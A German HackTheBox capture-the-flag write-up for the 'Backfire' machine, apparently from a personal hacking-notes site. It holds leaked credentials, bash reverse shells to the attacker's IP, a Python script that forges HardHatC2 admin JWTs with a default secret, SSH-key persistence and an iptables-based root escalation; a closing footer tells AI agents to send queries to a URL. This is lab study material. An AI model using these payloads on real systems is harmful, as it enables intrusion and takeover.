> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md).

# Backfire HackTheBox Writeup

Backfire HackTheBox Medium Linux-Maschine Writeup zu Informationsleck (Yaotl-Datei), Havoc-C2-Exploitation (Port 40046), SSH-Schlüssel-Erstellung, Pivoting (User: Sergej), mit praktischer Enumeration, e

{% embed url="<https://app.hackthebox.com/machines/643>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleckage (Yaotl-Datei)
* Ausnutzung von Havoc-C2 (Port 40046)
* Erstellung eines SSH-Schlüssels
* Pivoting (Benutzer: Sergej)
* Ausnutzung von HardHat (Port 7096)
  * HardHat - Authentifizierung umgehen
  * HardHat - Remote-Code-Ausführung
* Sudo-Rechteausweitung (IPTables)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b457757f3bcb186fcf2ebb56d3268444d559b18%2Fimage%20(2802).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea0cb9dff725574947860a59636e55b1683be2ca%2Fimage%20(2803).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4189bc15a0f9b5f94e0c44db18d2d46a673ce38d%2Fimage%20(2804).png?alt=media" alt=""><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap: (22,443,8000)

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8d509c6f1fac959e9d982eb077af49bf720dd16%2Fimage%20(2805).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 8000

Auf Port 8000 finden wir zwei interessante Dateien:

* `disable_tls.path`
* `havoc.yaotl`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d637db333b0142e70eeb0e589e2ee5c9ab02716%2Fimage%20(2806).png?alt=media" alt=""><figcaption></figcaption></figure>

Das **havoc.yaotl** Die Datei enthält zwei Benutzer mit ihren Passwörtern und einen Domainnamen:

* **ilya:** `CobaltStr1keSuckz!`
* **sergej:** `1w4nt2sw1tch2h4rdh4tc2`
* **Host:** `backfire.htb`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9b4c8182562c6f1a7d8db0c9887e9f028bf69b8%2Fimage%20(2807).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fügen diesen Hostnamen in unsere `/etc/hosts` Datei für einen leichteren Zugriff ein.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d24389214e3dd2b2d7b62469f4d1d780c3df6f98%2Fimage%20(2808).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Das **disable/ tls.path** Die Datei enthält einen Patch, um TLS auf dem WebSocket-Management-Port (40056) in Havoc zu deaktivieren. Dieser Patch ersetzt "wss\://" durch "ws\://" und entfernt die SSL-Konfiguration sowohl für den Client als auch für den Server. Der Autor rechtfertigt diese Änderung damit, dass dieser Port nur lokale Verbindungen per SSH-Forwarding akzeptiert und so die Sicherheitsrisiken reduziert. Dieser Patch scheint auch eine Ironie gegenüber dem Benutzer **sergej**schnelle Arbeit.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ed0792c2a07f1a098e7797ea18f330bc21cf366%2Fimage%20(2809).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 40046 Havoc-C2

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

Um die SSRF-Schwachstelle in Havoc auszunutzen, erstellen wir ein `payload.sh` Datei mit folgendem Code:

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

Als Nächstes richten wir einen Webserver ein, um unser Payload mit dem folgenden Befehl bereitzustellen:

```bash
python3 -m http.server 80
```

Anschließend lauschen wir mit netcat auf Port 4444, um die Reverse-Verbindung zu empfangen:

```bash
nc -nlvp 4444
```

Wir passen das Skript an, um die relevanten Informationen einzufügen, und führen dann den Exploit mit dem folgenden Befehl aus:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27bbaf425615b1e5807105d649119bd1d12079d3%2Fimage%20(2811).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**Benutzerzugang:**

Der Benutzer **ilya** ermöglicht es dir, eine Verbindung zur Zielmaschine herzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e403769a45e757eb7bc109a5a1c37c9de35f805f%2Fimage%20(2810).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung

<pre class="language-bash"><code class="lang-bash">script /dev/null -c bash
Drücke `Ctrl+Z` und stabilisiere dann das Terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
<strong>export SHELL=bash
</strong>stty rows 44 columns 184
</code></pre>

### Flag user.txt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f64e4a0a988189e5538d26df71df4c255364c03c%2F%7BAE475101-4396-469A-BA85-F8A3B0B55636%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Wir beobachten, dass ein Cron-Job unsere Sitzung alle 2 Minuten beendet. Um dieses Problem zu umgehen, werden wir SSH-Schlüssel erstellen.

### **SSH-Schlüssel erstellen:**

Wir erzeugen einen neuen SSH-Schlüssel mit dem folgenden Befehl:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2740a2f43a6580f4ff9e309fa72bd8144a266d2%2F%7BAA9D8671-4A32-4556-A9F3-3289AB78EC50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Anschließend ändern wir die `authorized_keys` Datei, um unseren öffentlichen Schlüssel hinzuzufügen:

{% code overflow="wrap" %}

```bash
echo "YOU KEY" | tee -a ~/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec5429114c050882e680623d6a134b5dc2d2be4d%2Fimage%20(761).png?alt=media" alt=""><figcaption></figcaption></figure>

Anschließend verbinden wir uns per SSH mit der Zielmaschine:

```bash
ssh ilya@backfire.htb
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bdac85c1ed44e0ea8bc1b51831e411ba36fc7ce%2Fimage%20(762).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Pivot zu Benutzer Sergej**

Im Verzeichnis des Benutzers `ilya`, finden wir eine Datei `hardhat.txt` mit der folgenden Nachricht:

> Sergej sagte, dass er HardHatC2 zu Testzwecken installiert und die Standardeinstellungen nicht geändert hat. Ich hoffe, er bevorzugt Havoc, weil ich nicht noch ein weiteres C2-Framework und Go lernen möchte

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1491e94247bc2265d786e5d983706ac2772dc689%2Fimage%20(763).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir untersuchen die internen Ports mit dem `netstat` Befehl:

```bash
netstat -tuln
```

Die Ports 5000 und 7096 scheinen besonders interessant zu sein.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54a6c1f30fc88ef52a4bee47bba5da0ab56cf9fd%2Fimage%20(764).png?alt=media" alt=""><figcaption></figcaption></figure>

**Portweiterleitung:**

Wir führen mit SSH eine Portweiterleitung durch, um auf interne Dienste zuzugreifen:

```bash
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
```

## **Port 7096 - HardHatC2 CMS:**

Auf Port 7096 finden wir das HardHat CMS.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-648d7140acb8f4d9f62dc5e75cb0a0d3f19cde0d%2F%7BCAF9B213-D2BF-438F-920E-62388C3679DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Umgehung der HardHat-C2-Authentifizierung**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

Wir verwenden das folgende Skript, um die Authentifizierung zu umgehen und einen neuen Benutzer zu erstellen:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Admin-JWT erstellen  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generiertes JWT:")  
print(token)  
  
# Admin-JWT verwenden, um einen neuen Benutzer „sth_pentest“ als TeamLead zu erstellen  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

Das Skript erzeugt den Benutzer `jordan` mit der Rolle `TeamLead`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1db69b99033eff3c215e061f76a63c1c5f4fb5a%2Fimage%20(766).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6b4b36c2dc06cccfc02bd605d6ca7a015712f0e%2F%7BE9238EDA-497D-4012-8749-D86F6DDA1C96%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Hardhat C2 (RCE)

Auf der `ImplantInteract` Teil haben wir Zugriff auf ein Terminal. Beim Ausführen des `whoami` Befehls sehen wir, dass wir als Benutzer angemeldet sind `sergej`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59dae93c624c55c8b845a3076976e7e264550385%2Fimage%20(767).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir richten eine Reverse Shell für den Benutzer ein `sergej` indem wir auf Port 443 lauschen:

```bash
nc -nlvp 443
```

Und führen wir den folgenden Befehl aus, um die Reverse-Verbindung herzustellen

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

Sobald die Verbindung hergestellt ist, fügen wir unseren SSH-Schlüssel zu `authorized_keys` hinzu, um uns später leichter erneut verbinden zu können:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0289721a6b2facd2b2bac8500a42a90c8a7dc208%2F%7B5CF0CBAF-AF14-482B-B5CD-78B0329A1283%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```

## **Privilegieneskalation :**

### **Sudo - IP-Tables**

**Überprüfung der Sudo-Rechte**

Zunächst prüfen wir die auf der Maschine verfügbaren Sudo-Rechte:

```bash
sudo -l
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3846c43712ec9d11935cc06856e7761778720d9f%2F%7B17667C7C-F156-4A91-BD54-F52F5758E629%7D.png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

Wir stellen fest, dass der Benutzer `sudo` für die folgenden Befehle Passwort-lose Rechte hat:

* `/usr/sbin/iptables`
* `/usr/sbin/iptables-save`

**Erzeugen eines SSH-Schlüsselpaares**

Wir erzeugen ein SSH-Schlüsselpaar, um unseren öffentlichen Schlüssel in die Authentifizierungsdateien von root einzuschleusen:

```bash
ssh-keygen  -t ed25519
```

Hier ist der erzeugte öffentliche Schlüssel:

{% code overflow="wrap" %}

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot
```

{% endcode %}

**Einschleusen des öffentlichen Schlüssels in iptables**

Wir verwenden das `--comment` Feld von `iptables` um unseren öffentlichen Schlüssel in eine Regel einzuschleusen

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n'
```

{% endcode %}

Wir prüfen, ob die Regel hinzugefügt wurde:

```bash
 sudo /usr/sbin/iptables -L
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40fb66e37e539448f1abd0c579cf03085bf47ba1%2Fimage%20(439).png?alt=media" alt=""><figcaption></figcaption></figure>

**In der Datei authorized/\_keys speichern**

Wir speichern die iptables-Regeln in einer Datei, die als die \`authorized\_keys2\`-Datei des root-Benutzers verwendet wird `authorized_keys` Datei ein:

```bash
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2
```

**Als root anmelden**

Schließlich können wir uns per SSH als root verbinden:

```bash
ssh root@backfire.htb
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d08641cf04402447d8ed74f1f788063d8f364c0%2Fimage%20(440).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-beedb7f9cb4d90d3742975bd5d8ebb27a5a3460e%2Fimage%20(441).png?alt=media" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
